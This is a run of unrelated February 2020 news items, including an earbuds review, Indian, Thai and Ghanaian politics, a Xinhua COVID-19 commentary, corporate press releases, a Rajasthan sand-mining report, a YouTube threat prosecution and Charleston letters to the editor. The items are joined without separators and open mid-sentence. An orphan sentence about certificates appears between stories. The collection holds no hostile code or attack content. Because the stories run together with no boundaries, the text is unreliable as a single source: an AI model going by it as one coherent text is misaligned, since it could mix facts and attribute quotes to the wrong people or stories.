battery life on the Galaxy Buds+. The company says they'll last for up to 11 hours on a charge. That's almost double the six-hour rating from the previous version. During my tests, the Galaxy Buds+ lasted just shy of 11 hours, but only by about 10 minutes. And that's with ambient sound on medium or high for most of that time. The case still only holds one additional charge, but this time that's an additional 11 hours of use. There's still a quick charge option that gives you an hour of use in just three minutes. And yes, you can charge these on the back of a Samsung phone with the company's PowerShare technology. At $150, the Galaxy Buds+ are situated directly in the mid range. Apple's AirPods with a wireless charging case cost $199, unless you can catch a sale. Sure, there are other features there -- like hands-free Siri -- but if you have to pay full retail, that's still $49 more than Samsung's latest earbuds. Jabra's Elite 75t ($180) is a very good option too, but they'll cost you an extra $30. For what it's worth, Jabra is working on a wireless charging case, but it's not ready yet. Even when it is, it will most likely require an additional investment. While it may not be able to keep the top spot much longer, Sony's WF-1000XM3 ($228) is still our top pick. Of course, they're nearly double the price of the Galaxy Buds+. Lastly, the original Galaxy Buds are still available for $130, although Amazon currently has them listed for $105. I wouldn't recommend going that route, but it is an option. From the moment I first popped the Galaxy Buds+ in my ears, it was obvious Samsung paid attention to criticism of the Galaxy Buds. This new version sounds better, lasts longer and, perhaps most importantly, brings some key features to the iOS app. The Galaxy Buds+ are more expensive than the 2019 model, but I'd argue all of the improvements are worth the extra $20. Sure, the touch controls aren't perfect and some things are only available on Android, but Samsung has given its latest earbuds universal appeal. New Delhi: Maharashtra Chief Minister Uddhav Thackeray on Friday met Prime Minister Narendra Modi in the national capital. This was Thackerays first meeting with Modi after taking over as the Chief Minister of Maharashtra. The Shiv Sena was earlier a part of the BJP-led NDA, but formed the Maha Vikas Aghadi government in Maharashtra with the Congress and the Nationalist Congress Party (NCP) after parting ways with the saffron party. I had a good discussion with the Prime Minister over issues concerning Maharashtra. I also discussed the CAA, NPR and NRC with the Prime Minister. No one needs to fear the CAA. The NPR is not going to throw anyone out of the country, He told reporters after the meeting with Modi. Thackeray also denied that there was any friction among the constituents of the Maha Aghadi, while asserting that the Maharashtra government will complete its five-year term. Source: Xinhua| 2020-02-21 12:46:09|Editor: huaxia Video Player Close A medical worker thumbs up at the Diagnostics Virology and Transformation Center of the Guangzhou KingMed Diagnostics Group Co., Ltd. in Guangzhou, south China's Guangdong Province, Feb. 18, 2020. (Xinhua/Liu Dawei) Conspiracy theories do nothing but create fear, rumours, and prejudice that jeopardise the global collaboration in the fight against the novel coronavirus. Cooperation, unity and solidarity across borders are vital for a world sharing a common destiny. by Xinhua writer Gao Wencheng BEIJING, Feb. 21 (Xinhua) -- In an era of globalization, the interests of countries across the world are closely intertwined, and no one can be immune to common challenges such as the novel coronavirus disease (COVID-19). By taking decisive measures and making great sacrifice, China has achieved notable progress in preventing and controlling the spread of the virus both domestically and internationally. Global manufacturers, from automakers to mobile phone producers, are breathing a sigh of relief as the world's second largest economy gradually reopened its factories that were temporarily closed to help contain the epidemic without causing significant damage to the global supply chain. A man works at Tiexi Plant of BMW Brilliance Automotive (BBA) in Shenyang, capital of northeast China's Liaoning Province, Feb. 17, 2020. BMW resumes production at its world's largest manufacturing base in Shenyang, with nearly 20,000 employees, including those of its supplier partners, returning to work as planned. (Xinhua/Pan Yulong) China does not stand alone in its fight. So far, leaders of more than 160 countries and international organizations have expressed their solidarity with China and provided assistance. They also voiced confidence in the prospect of China's economic development and its role as a driving force for world growth. On the packages of medical supplies donated by the Japanese people to China, such Chinese-language poetic lines were written as "lands apart, destiny shared." It exemplifies the spirit of helping each other in the global village in the face of common challenges. However, global efforts and solidarity to combat the COVID-19 outbreak are sometimes undermined by rumors and even slanders. Participants hold placards during a special prayer meeting held for China in Noida, on the outskirts of New Delhi, India, Feb. 10, 2020. (Xinhua/Javed Dar) On Thursday, leading health experts from multiple countries endorsed China's efforts to stop the virus from spreading on a worldwide scale as well as its high degree of openness and transparency, and voiced concerns that such a remarkable effort is being threatened by rumours and misinformation. Just as they stressed in a statement published by The Lancet, conspiracy theories do nothing but create fear, rumours, and prejudice that jeopardise the global collaboration in the fight against the novel coronavirus. Cooperation, unity and solidarity across borders are vital for a world sharing a common destiny. The epidemic reminds mankind again that no country can prosper in isolation or meet all challenges on its own, as the world is a community with a shared future. Newport Beach, Calif., Feb. 21, 2020 (GLOBE NEWSWIRE) -- DPW Holdings, Inc. (NYSE American: DPW) a diversified holding company (DPW, or the Company) announced that its global defense business, Gresham Worldwide, Inc. (Gresham Worldwide), has received a $1.4 million order from a leading defense and aerospace customer of its wholly owned subsidiary Enertec Systems 2001, Ltd. (Enertec). Enertec, based in Israel, is a leading defense and aerospace designer and manufacturer of advanced multi-purpose electronic systems, including customized computer-based automated test equipment and turnkey solutions designed to perform in harsh environments and battlefield conditions. After receiving a $2.9 million order in 2019 to develop a unique and complex testing system, Enertec recently received a follow-up order of an additional $1.4 million related to the testing system. Enertecs management believes this customer has the potential to order over $10 million of Enertec products per year. DPWs management believes that its recent restructuring of debt and improvement to its capital structure puts the Company in a stronger position to execute on expected growth in backlog from this and other customers of the Gresham Worldwide operating units. Enertecs CEO, Zvi Avni said, The increase in orders from this important customer is the result of a multi-year sales development effort and reinforces Enertecs strategic focus on delivering complex solutions for the defense and aerospace industry, both at home and abroad. DPWs CEO and Chairman, Milton Todd Ault, III said, Our recently announced $7.7 million exchange agreement improved our capital structure and enabled management to focus on the many opportunities we have to grow our business. We are committed to providing additional financial resources to enable Enertec and our other Gresham Worldwide defense subsidiaries to expand. For more information on DPW Holdings and its subsidiaries, the Company recommends that stockholders, investors and any other interested parties read the Companys public filings and press releases available under the Investor Relations section at www.DPWHoldings.com or available at www.sec.gov. About DPW Holdings, Inc. DPW Holdings, Inc. is a diversified holding company pursuing growth by acquiring undervalued businesses and disruptive technologies with a global impact. Through its wholly and majority-owned subsidiaries and strategic investments, the Company provides mission-critical products that support a diverse range of industries, including defense/aerospace, industrial, telecommunications, medical, crypto-mining, and textiles. In addition, the Company owns a select portfolio of commercial hospitality properties and extends credit to select entrepreneurial businesses through a licensed lending subsidiary. DPWs headquarters are located at 201 Shipyard Way, Suite E, Newport Beach, CA 92663; www.DPWHoldings.com. About Gresham Worldwide Gresham Worldwide, formerly known as DPW Technology Group, is a provider of high-quality, ultra-reliable bespoke technology solutions for mission critical applications in the defense, medical and telecommunications verticals. The three component companies under the leadership of CEO, Jonathan Read, are Microphase Corporation, Enertec Systems 2001 Ltd. and Gresham Power Electronics Ltd.; each has over 30 years of experience as global defense contractor. Gresham Worldwide operates with a global footprint with headquarters in Phoenix, Arizona, an office in Washington D.C. and design and operations centers in Shelton, Connecticut, Salisbury, U.K., and Karmiel, Israel. Forward-Looking Statements This press release contains forward looking statements within the meaning of Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934, as amended. These forward-looking statements generally include statements that are predictive in nature and depend upon or refer to future events or conditions, and include words such as believes, plans, anticipates, projects, estimates, expects, intends, strategy, future, opportunity, may, will, should, could, potential, or similar expressions. Statements that are not historical facts are forward-looking statements. Forward-looking statements are based on current beliefs and assumptions that are subject to risks and uncertainties. Forward-looking statements speak only as of the date they are made, and the Company undertakes no obligation to update any of them publicly in light of new information or future events. Actual results could differ materially from those contained in any forward-looking statement as a result of various factors. More information, including potential risk factors, that could affect the Companys business and financial results are included in the Companys filings with the U.S. Securities and Exchange Commission, including, but not limited to, the Companys Forms 10-K, 10-Q and 8-K. All filings are available at www.sec.gov and on the Companys website at www.DPWHoldings.com. During the Requiem Service for Peoples Artist of the Republic of Armenia, actor Yervand Manaryan at St. Hovhannes Church in Yerevan today, Minister of Education, Science, Culture and Sport of Armenia Arayik Harutyunyan said Yervand Manaryan had been a part of the struggle that he and his team started leading in the 2000s and was always there to help or speak as a representative of the intelligentsia. He left a great legacy. The changes that took place in Armenia in 2018 were, in essence, the result of his struggle and stance as a citizen. We saw him as a real citizen and a real intellectual. We lost one of our best citizens, the minister said. Head of the My Step faction of the National Assembly Lilit Makunts was also attending the Requiem Service and said Yervand Manaryans death is a great loss. Among the attendees of the Requiem Service were Prime Minister of Armenia Nikol Pashinyan and Mrs. Anna Hakobyan, Mayor of Yerevan Hayk Marutyan, MPs and government officials, intellectuals, cultural figures and fans of the peoples artist. Manaryan died on February 20. He was 95 years old. Rajesh Asnani By Express News Service JAIPUR: Taking strong exception to rampant illegal sand mining in Rajasthan, the Supreme Court had on Wednesday directed the state government, its collectors and superintendents of police to take immediate steps to stop it. This is, however, not the first time the apex court has done so. In 2017, a similar ban was imposed on river-sand (bajri) mining in Rajasthan. However, successive governments have failed to resolve the problem that takes place across river belts and mountainous regions in the state. A study Rich Lands, Poor People Is sustainable mining possible? conducted by the Centre for Science and Environment revealed that Rajasthan has thousands of unorganised mines, which can be as small as one-twentieth of a hectare. They fall out of the purview of government control and there are no accounts of these mines. Kailash Meena, a social worker fighting against illegal sand and gravel mining in the state, said despite repeated court orders the government has failed to curb illegal bajri mining. People involved in illegal mining are heavy-weights, including politicians, police officers, big corporates, bureaucrats etc. Around 90% of mining in the state is illegal. Hundreds of overloaded trucks with illegally extracted river sand pass through various state highways but the police and mining department officials remain mute spectators, alleged Meena. A CAG report tabled in Rajasthan Assembly in February 2018 revealed that the SC orders on mining are regularly violated. CAG observed that there were serious inadequacies in preventing illegal mining. There was a lack of deterrence due to delay in issue of notices, raising demand and recovery of the penal amount from illegal miners. Also, there was slackness in implementing policy measures to curb illegal mining, the CAG report reads. According to the report, a scrutiny of the records of nine superintending mining engineers or mining engineers in five districts Alwar, Jaipur, Sikar, Rajsamand and Udaipur revealed that these offices registered 4,072 cases of illegal mining, transportation and storage of minerals during 2011-12 to 2016-17. Around 98.87 lakh metric tonnes of minerals were found to have been illegally excavated. The department, however, could recover only `25.57 crore against the recoverable amount of `204.50 crore, the CAG report said. Speaking on the magnitude of the problem, a mining department official, who did not wish to be named, said that in Tonk alone losses worth `60 crore (approximately) have accrued last year. It means that in a decade the state has lost `600 crore worth of revenue. Its not only the state which is bleeding revenue, the common man too is hit by it. After the SC ban, the middlemen have hiked the price of sand. Earlier, we used to buy sand in a 500-foot vehicle for `15000-17000, now it costs us around `60,000. So ultimately the common man is the sufferer, said Ballu Ram Choudhary, member of construction association in Jaipur. President of All-Rajasthan Bajri Truck Operators Welfare Society, Naveen Sharma said illegal sand mining has been continuing since the ban in 2017. He said the ban was imposed as the operators did not have the required environment clearances. We have made several representations to the government to make proper efforts to get the clearance from the Centre but our grievances remained unaddressed, Sharma said, adding that the illegal mining was rampant in Tonk, Sawaimadhopur, Dholpur, Bhilwara, Sirohi and Jalore. According to mines department data, between 2014 and 2017, around 2,514 cases of illegal mining were registered. The top five districts with the maximum number of cases were Bhilwara (261), Nagaur(180), Sikar(167), Jaipur (167) and Jhunjhunu (156). The mining department official also blamed the shortage of manpower for its failure to control illegal mining. Around 100 km of the Banas River meanders through Tonk. The department has only one inspector and around three juniors to oversee this huge stretch. If we raid one area, the miners simply move their operation to another. The mining mafia also uses sophisticated technology to carry out their operation. Recently, during a crackdown in Dungarpurs Som River, police seized 12 high-tech boats fitted with dredging equipment. However, the introduction of drones, which the department is planning to acquire, can soon change this scenario. Director of Mines and Geology department Jitendra Kumar Upadhyay said the SC is of the view that mining across river beds should be completely banned. He said small land titles across rivers should be granted so that the demand can be met and illegal supply stopped. Stricter penalties A department official, on the condition of anonymity, revealed that a proposal has been submitted to the government for increasing the penalty amount involved in cases of overloading or illegal mining Action taken 10,638 booked for illegal activities by the mining department in 2019-20 694 FIRs filed 10,710 vehicles seized `62 cr worth equipment seized Mineral rich: Rajasthan holds reserves for 44 major and 22 minor minerals and is the only producer of garnet, jasper, selenite, wollastonite and zinc concentrates. It is also the leading producer of calcite, lead concentrate, ball clay, fireclay, ochre, phosphorite, silver and steatite. The state is best known for its production of marble, sandstone and other stones. But major minerals do not reflect the true picture of mining in Rajasthan; minor minerals and stone quarries do. Rs 25,000 Current penalty for tractor trolly Rs 1 lakh Proposed penalty Rs 1 lakh Current penalty for trucks Rs 1 lakh Current penalty for illegal use of earth movers Rs 3 lakh Proposed penalty Rs 8 lakh Proposed penalty CRIMES PERPETRATED BY SAND MAFIA IN RAJASTHAN Feb 16, 2018: 50-year-old sarpanch Raghuveer Meena of Hathdoli village thrashed to death by mafia in Sawai Madhopur. April 4, 2019: Tractor with illegal sand kills man in Jaipurs Vidhyadhar Nagar. Jun 12, 2019: Senior citizen Kishore Singh mowed down by a truck near Kardhani in Jaipur after he objects to trucks transporting bajri. August 31, 2019: Two persons involved in alleged transportation of illegal sand killed while four others, including two cops, injured during a shootout in Dholpurs Basai Dang area. Nov 4, 2019: Tractor drivers transporting illegal sand fire at Police and Forest officials in Dholpur. Jan 25 , 2020: Suspected Bajri mafia attack ASI Rajesh Singh in Dholpur when he was inspecting stock of illegal gravel and sand. Feb 12, 2020: A man and his infant daughter were killed after a tractor transporting illegal bajri hits the bike on which they were travelling. Feb 12, 2020: A dumper truck transporting illegal sand hits schoolchildren in Barmer. While three children died, three others were seriously injured in the accident. If these certificates exist and have not been altered in any manner, it would mean they are genuine. The next enquiry would then be if the names appearing thereon belong to me or belong to some other persons. MEDFORD, Ore. A Cave Junction man has admitted in federal court that made online threats about a mass shooting at the YouTube headquarters in California, the U.S. Attorney's Office said on Thursday. Threatening a mass shooting is a serious crime whether or not an individual plans to act. This is a crime that undermines Americans fundamental right to live and work without fear, said Billy J. Williams, U.S. Attorney for the District of Oregon. We will continue to diligently respond to and prosecute criminal threats of violence to the fullest extent of the law. According to court documents, YouTube removed Douglas' video channel in August of 2018 for violating its terms of service. Within a matter of days, Douglas had posted five tweets that threatened violence against YouTube employees. Douglas promised a "bigger mass casualty" event, the U.S. Attorney's Office says an apparent reference to a shooting at the YouTube headquarters just months earlier that left three employees injured and the shooter dead. "Later, on September 8, 2018, Douglas posted a tweet stating 'Hey why do you guys keep ignoring me would it be better if I leave you with no other options like your [sic] leaving meIm beyond pissedI wonder how I should deal with this frustration,'" the U.S. Attorney's Office said. "Finally, on September 17, 2018, Douglas tweeted a direct threat at one of YouTubes senior leaders saying 'Im coming for you today #pray.'" FBI agents arrested 37-year-old William Gregory Douglas outside of a convenience store in Cave Junction later that month. Using social media outlets to threaten violence of any kind victimizes individuals and undermines the safety of our communities, said Renn Cannon, Special Agent in Charge of the FBI in Oregon. The FBI remains committed to working with our state and local partners to respond quickly to threats and keep our communities free from violence and intimidation. On October 4, Douglas was indicted by a federal grand jury in Medford. He would eventually face charges for cyberstalking and making interstate communications with the intent to extort. Douglas pleaded guilty on Thursday to the second charge. As part of his plea agreement, he agreed to pay restitution to his victims as ordered by the court at sentencing. He could receive up to five years in prison, a $250,000 fine, and three years of supervised release. The sentencing hearing is scheduled for May 14 of this year, with U.S. District Court Judge Ann L. Aiken presiding. Air Algerie, the national carrier, Tuesday cancelled at least 25 domestic and international flights after the union of its workers launched a strike demanding better work conditions. The cancelled flights included Algiers-Mulhouse (France), Setif-Paris, Tlemcen-Paris, Biskra-Paris and Bejaia-Paris CDG. The carrier was hit Monday but a surprise strike by the union of workers which also includes stewards and airhostesses. The strike set to last for few hours on Monday was extended to Tuesday after the airline suspended seven workers, online media TSA reports citing Tamani Ziriat a member of the union. Ziriat told the media the strike is meant to denounce bad work conditions and the administrations refusal to enter into talks with the union in view of meeting their demands. The state-owned company sued the seven workers before Dar el Beida court in capital Algiers. The court has given green-light to use law reinforcement forces to rein in the dissatisfied workers, TSA reports. 21.02.2020 LISTEN The Member of Parliament for Akatsi South Constituency, Mr. Bernard Ahiafor has accused President Akufo-Addos fight against illegal mining as a scam. Mr. Ahiafor bemoaned that, the national campaign against galamsey was operationally to enrich members of the ruling New Patriotic Party (NPP), families and the cronies of President Akufo-Addo. The recent galamsey scandal is the result of a grand scheme setup by President Akufo-Addo himself to enrich NPP officials to finance the New Patriotic Party in the coming 2020 Election as the video that went viral has indicated," he stated. Speaking SONA walkout yesterday on Kaleawo FM 107.3 in the Akatsi South Constituency, Mr. Ahiafor indicated that president Akufo-Addo so-called fight against galamsey is ruse calculated to expropriate the illicit galamsey trade for NPP government officials. "It is quite clear that there was no fight, it was a sham, it was all a ploy to enrich themselves and we have detected that the president is not ready to listen to the sense Minority caucus has been bringing on the table of men and this has pushed us to walk out of the parliament in a way of protesting against the government of the day as they did to former President John Mahama in 2013," he intimated. Speaking on the closure of some radio stations and torture of journalists in the country, Mr. Ahiafor blames President Akufo-Addo and his government for such dictatorial and authoritarian rule. He Ghanaians to simply kick out the dictatorship government of Akufo-Addo and bring back Mahama in the upcoming 2020 general elections. Vancouver police are asking for help identifying a man suspected in over a dozen theft and robbery incidents throughout the Portland area. The man has focused on a specific retail chain, targeting fragrance merchandise in 14 incidents at stores in Vancouver, Gresham, Portland, Hillsboro and elsewhere, according to police. He has threatened employees at least twice, police said. Police didnt disclose the name of the retail chain in a brief news release Thursday night. The man appears to be in his 20s, police said. He has a goatee and slim-to-medium build. Police urged people who have information to leave a voicemail at 360-518-4101, text the same number or call 360-487-7355 during business hours. Tipsters can stay anonymous. -- Jim Ryan; jryan@oregonian.com; 503-221-8005; @Jimryan015 Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories. The Congress is keeping a close watch on the developments in the Bharatiya Janata Party (BJP) in Karnataka where some of the disgruntled ruling party legislators are believed to have raised a banner of revolt against chief minister BS Yediyurappa for ignoring them in the recent cabinet expansion. A Karnataka Congress leader said his party would wait and watch the developments given that the dissent in the BJP and the clamour for change of guard growing. He referred to a late night meeting senior BJP legislators Umesh Katti and Goolhatti Shekar held with former chief minister and Janata Dal (Secular) leader HD Kumaraswamy on Tuesday, insisting that all is not well in the ruling party. But we wont do anything to bring down the government. It will fall on its own..just a matter of time, said the leader quoted above. The Congress leader also pointed out to an anonymous letter against the chief minister in circulation across the state. The purported letter mentions that Yediyurappa is unable to lead due to his age and health and also the interference of the chief ministers family members in the functioning of the government. But the Congress itself is facing uncertainty as the party is headless after the resignation of state chief Dinesh Gundu Rao following the drubbing in the last years Lok Sabha elections and subsequently the partys poor show in the December 5 by-polls. Rao met Congress president Sonia Gandhi on Thursday and later told reporters that a decision on the next state chief is expected soon. Race for state Cong chief in last lap The race for the top post has narrowed down to two names. While the partys central leadership is keen on handing over the reins of the party in Karnataka to former minister and key troubleshooter DK Shivakumar, former chief minister Siddaramaiah favours Lingayat leader MB Patil for the post. DK Shivakumar Shivakumar, 57, a Vokkaliga from south Karnataka and a seven-time legislator, had been in prominence since he played a key role to shelter the Congresss Gujarat lawmakers ahead of a crucial Rajya Sabha election in 2017 involving Ahmed Patel, sequestering them at his resort in the outskirts of Karnataka capital Bengaluru. It is around this time that the income tax authorities raided properties linked to Shivakumar. In these raids, the income tax department officials said they had seized unaccounted cash of Rs 8.82 crore from his Delhi house. Shivakumar was arrested by the ED on September 3 in a money laundering case based on a complaint filed by the tax department in September 2018 alleging hawala transactions and tax evasion. Congress president Sonia Gandhi had visited him in Delhis Tihar jail, widely seen as a message that the party stood firmly behind him. The Congress had alleged that both Shivakumar and former finance minister P Chidambaram had been targeted by central agencies because of political vendetta, not because they violated the law. He was released on October 23 after the Delhi high court granted him bail in the case. Kumaraswamy, also a Vokkaliga, too had visited Shivakumar in jail. MB Patil Patil, 55, a former state home minister and a Lingayat leader from north Karnataka, has the support of Siddaramaiah. The two upper castes Lingayats and Vokkaligas have dominated the state politics for decades now. While Lingayats constitute 17% of the states 65 million population, Vokkaligas account for 15%. Lingayats had moved away from the Congress in 1990 when Rajiv Gandhi unceremoniously removed Veerendra Patil as the chief minister. On the other hand, a large chunk of Vokkaligas had for years strongly rallied behind the Janata Dal (Secular) of former Prime Minister HD Deve Gowda. SHARE THIS ARTICLE ON New government figures show that supplies of barn eggs surged by more than a third last year as major retailers get closer to their cage-free commitment. Defra has now released packing station statistics for the full 12-month period in 2019. They show that the number of barn eggs passing through UK packing stations increased by 36.28 per cent compared with the previous year. Packers reported 601,000 cases of barn eggs over the full year compared with 441,000 cases the previous year - an increase of 160,000 cases. Although the figures remain relatively low compared with the number of eggs produced in free range and cage units, the large increase indicates that the industry is now gearing up to meet the demands of major retailers who have said they will stop sourcing eggs from all cage units in five years. All major retailers in the UK and some leading food manufacturers have committed to moving away from using cage eggs by 2025 at the latest, following pressure from animal welfare campaigners. Many retailers are expected to adopt barn eggs as the value egg replacement for enriched cage. In the barn system hens are able to move freely around the house. The EU Welfare of Laying Hens Directive stipulates a maximum stocking density of 9 hens per square metre of useable area. Tesco has announced that it will be sourcing barn eggs. The retailer's agricultural manager John Kirkpatrick told delegates at the British Free Range Egg Producers' (BFREPA) conference in October that up to a quarter of its customers were people struggling for disposable income, who needed a low cost option. Tesco had a responsibility to provide them with such an option: We have a hard core of between 20 and 25 per cent of our consumers who are coming through the door day in and day out demanding price, he said. For those consumers price is really important. That bottom 20 per cent of customers in 12,000 income a year households. That customer has really stark choices to make whenever they do their food shop. And we, as a responsible retailer, need to be able to deliver that product at an affordable price. He said: There will always be a demand for entry tier. I think that's really important as we move forward. From a Tesco perspective, we have nailed our colours to the mast; that will be barn production. Barn production now accounts for just under two per cent of total egg supplies in the UK - still a small, although fast growing, section of the market. Barn supplies were also up in the final quarter of 2019 - from 141,00 to 158,000 cases. The total number of eggs from all production systems was 31.66 million cases in 2019 - an increase of 690,000 cases, or 2.23 per cent on the 30.94 million cases packed in 2018. Future Forward Party accused of breaking election-funding laws over a $6m loan it received from its billionaire founder. Bangkok, Thailand Thailands Constitutional Court ruled on Friday to dissolve the countrys most dynamic opposition party over claims it broke election laws. The Future Forward Party (FFP) and its leader, Thanathorn Juangroongruangkit, were accused of breaking election finance laws when he loaned 191.2 million-baht ($6.06m) to his party during the campaign last year. The court also banned 16 FFP leaders from politics for 10 years. FFP headquarters was full of FFP supporters yelled in anger as the verdict was read by a panel of judges via live feed. Anger soon turned to tears as the energy in the room swiftly turned sombre. Thanathorn, an auto-parts billionaire-turned-politician, admitted to loaning the money to finance political activities. But he maintained that the countrys electoral law allows such a loan contract. Since its establishment two years ago and following its strong showing during the March 2019 parliamentary elections, the FFP and Thanathorn have come under fire from the current government of Prime Minister Prayut Chan-ocha. In January, the party narrowly escaped a separate attempt at disbandment, after being acquitted of trying to overthrow the monarchy allegations that the FFP and Thanathorn have strongly denied. The party is also accused of being anti-military, for supporting policies against forced conscription, among other allegations. To date, it has faced at least 28 legal challenges. If you think disbanding us is going to stop us from getting involved in politics youre wrong. Thanathorn and I will get involved even more This is not the end, this is the beginning. We are monsters created by Time to haunt people from the old era said party Secretary General, Piyabutr Saengkanokkul. A defiant Thanathorn said: I would like to start Future Forward Committee for people who want to carry on the beliefs of Future Forward Party. In an interview with Southeast Asia Globe earlier this week, Thanathorn declared that he and his party were innocent of the charges, adding that they will continue the fight. Supporters of the FFP are now left wondering whats next for the dissolved party and its leaders [Caleb Quinley/Al Jazeera] Although it is not unheard of for party leaders to loan large sums of money to their own campaigns, the election commission is adamant that Thanathorn broke the law. Political observers speculate that if the party is dissolved, supporters could mobilise online and on the streets. Many of the party supporters are young and highly active on social media. Its deja vu all over again in Thai politics, Thitinan Pongsudhirak, political science professor at Bangkoks Chulalongkorn University, told Al Jazeera. It used to be the Thaksin party machine that gets dissolved. But now its Thanathorn and his Future Forward Party, he said referring to former Prime Minister Thaksin Shinawatra, who now lives in exile after he was deposed in a military coup in 2006. Thitinan predicted that the FFP would significantly become weaker after it was dissolved, as some parliament members might switch camp. But I think the party as a political movement will grow because of the forces of history in favour of popular rule and of vested interests in younger people wanting a say for their own future. Yingcheep Atchanont, project manager at iLaw, an organisation of lawyers focusing on freedom of expression, told Al Jazeera: As an institution that was a cornerstone for representing a democratic system, the political party [FFP] as an institution, should not have been dissolved unless it committed a grave breach against a democratic system or showed an attempt to achieve political power through unconstitutional or undemocratic means, Atchanont said on the controversial court ruling. Supporters of FFP are now left wondering whats next for the dissolved party and its leaders, with many thinking about the possibility of new protests. Personally, I support every political party who fight for democracy and equality. The main reason that I support FFP is because they fight against dictatorship, even though they might be attacked in many ways, said Boss, a software engineer living in the capital, Bangkok. I do not want to go join any protest at this moment because I think that they [the military] will prepare to crack down on protesters, and it could be worse than Red Shirt protests in 2010 when many people died, Boss said, referring to Thailands 2010 pro-democracy protests. During those demonstrations, at least 87 people were killed in the military crackdown against the anti-establishment Red Shirt protesters. But, if I have to fight for justice, I will join the protests. MINNEAPOLIS, Feb. 21, 2020 /PRNewswire/ -- Wealth Enhancement Group, an independent wealth management firm that oversees $17 billion in client assets*, today announced its acquisition of JOYN Advisors, Inc., a registered investment adviser based in Atlanta, Georgia, with approximately $1.3 billion in client assets**. The acquisition marks Wealth Enhancement Group's first location in the Atlanta area and underscores its ability to expand strategically into growing markets across the country. The firm's robust acquisition strategy, in place since 2013, and impressive organic growth demonstrates that it is fast becoming a leading national wealth management and financial planning brand. JOYN has 35 employees, including 12 financial advisors eight of whom hold the Certified Financial Planner (CFP) designation. JOYN brings to Wealth Enhancement Group a specialty in Behavioral Wealth Management, an approach that leverages the psychology of human behavior to help clients make financial and life decisions with greater clarity and confidence. David Geller, Chief Executive Officer and Co-Founder of JOYN, founded the practice in 1991 with his brother Matthew, the president of JOYN. In addition to Behavioral Wealth Management, the team provides investment management and wealth management that includes retirement, estate and tax planning; risk management; as well as strategic business liquidity services. JOYN's clients also have access to a variety of custodians. Jeff Dekko, Chief Executive Officer of Wealth Enhancement Group, said, "JOYN has developed an outstanding team of financial professionals and innovative solutions that will benefit from our capabilities at Wealth Enhancement Group, while also augmenting our own national presence. We are eager to support JOYN as they work to improve the financial lives of their clients and embrace our team-based, client-centered culture. We look forward to seeing this team catalyze the expansion of our presence in the Atlanta metro area in the near future." David Geller said, "We are thrilled to partner with Wealth Enhancement Group, a firm whose infrastructure, technology and growth platforms enable us to take our services to new heights. Our mission is guiding investors, families and business owners on the path to achieve their financial goals. In Wealth Enhancement Group, we have found a strong ally that shares our philosophy of serving clients as their trusted advisor and advocate." JOYN Advisors will be Wealth Enhancement Group's 32nd office. Financial terms of the transaction, which is expected to close by April 1, 2020, were not disclosed. JOYN Advisors was represented by DeVoe & Company, a leading strategic advisor to RIAs, offering consulting, investment banking, and valuation services. About Wealth Enhancement Group Wealth Enhancement Group is a Greater Minneapolis-based independent wealth management firm offering comprehensive and customized financial planning and investment management services. Founded in 1997, Wealth Enhancement Group serves clients nationwide. Wealth Enhancement Group specializes in providing retail clients with the team-based expertise and resources they need to simplify their financial life. For more information, please visit www.wealthenhancement.com. Advisory services offered through Wealth Enhancement Advisory Services, LLC (WEAS), a registered investment advisor. Certain, but not all, investment advisor representatives (IARs) of WEAS are also registered representatives of and offer securities through LPL Financial, Member FINRA/SIPC. Wealth Enhancement Group and Wealth Enhancement Advisory Services are separate entities from LPL Financial. Wealth Enhancement Group is a registered trademark of Wealth Enhancement Group, LLC. *Wealth Enhancement Group and its Registered Investment Advisor, Wealth Enhancement Advisory Services, have approximately $17 billion in client brokerage and advisory assets as of 1/31/2020. **JOYN Advisors, Inc., had approximately $1.3 billion in client assets as of 11/30/2019. Media Contacts Joseph Kuo / Chris Clemens Haven Tower Group 424 317 4851 or 424 317 4854 [email protected] or [email protected] SOURCE Wealth Enhancement Group Related Links https://www.wealthenhancement.com The board and residents of the Confederate Home and College would like to thank all the first responders, especially Charleston Engine Companies 102 and 103, and the fire crews from James Island, St. Andrews and North Charleston that arrived so quickly on the afternoon of Feb. 4 when a fire broke out in the apartments. Although several apartments are a total loss, the damage would have been much worse without their quick arrival. A number of firefighters remained on the scene for hours afterward to help residents retrieve medicines and other necessities. We also would like to thank Dan and Linda Ravenel and their family who sheltered the residents the night of the fire and the volunteers from the Red Cross. We cannot say enough kind words about all the people who helped us that night. The Confederate Home and College has a 150-year history of service to those in need. Today it provides affordable apartments for elderly residents as well as studios for artists, writers and other creative members of the community. Fortunately, everyone was evacuated without injury. However, in addition to the fire- and water-damaged apartments, most other units suffered smoke and soot intrusion to the point where they are not now habitable. All of the tenants have been displaced, with a particularly heavy impact on 13 of them. While all residents are in temporary housing, some will not be able to return to their homes for months. Some of them will have to discard mattresses and other possessions that cannot be cleaned of the contaminants in the smoke and soot. The Confederate Home has established a fund to assist its residents in meeting the financial burden of this displacement. We are a 501(c)(3) charitable organization, so all donations are tax-deductible. They can be marked Fire Relief Fund at the bottom of the check and mailed to the Confederate Home and College, 62 Broad St., Charleston, SC 29401 The Charleston community has long been a good friend to the home, and any assistance for these women and men would mean a great deal to them. BARBARA ZIMMERMAN President, Confederate Home Board MARGARET W. GARRETT Resident Co-Coordinator, Confederate Home Broad Street Charleston Impeachment facts A letter writer in the Feb. 18 Post and Courier misstated some of the facts surrounding the impeachment inquiry of President Donald Trump. First, Republican representatives certainly were allowed to cross-examine all the witnesses called to testify by the various House committees. Second, the Senate vote on conviction had one crossover from each side. How quickly we forget Mitt Romney. I should repeat the late U.S. Sen. Daniel Patrick Moynihans observation: We are entitled to our own opinions, but not our own facts. I absolutely respect the letter writers opinions, but we all need to start debating from the same reality. SUE FLASTER Chapel Street Charleston Shameful strategy When the status quo feels threatened, a hyperbolic strategy is rolled out. The editorial in the Jan. 29 Post and Courier is part of this strategy that goes back to endorsing and promoting dark money-backed school board candidates who were nearly all incumbents and have no children enrolled in Charleston County School District schools. Reform? Compared to what? Empty slogans are not working anymore. We have seen that the emperor has no clothes. We, parents and guardians, act on behalf of students and will take control of this bloated, out-of-touch and failing institution in 2020. Only then will real and lasting reform take place. When a public institution loses the support of those it is intended to serve, it is considered a failure. The current school board is an epic failure. The real threat to public education is the continuation of more than 50 years of failure under the model promoted by The Post and Courier and paid for by politicians. FRANCIS MARION BEYLOTTE III Former school board candidate Wendy Lane Charleston Santee Cooper Its no secret that Santee Cooper has its detractors, including the author of the Feb. 7 Post and Courier letter to the editor who accused the utility of mismanagement, corruption and debt and a culture that is unfixable. Of 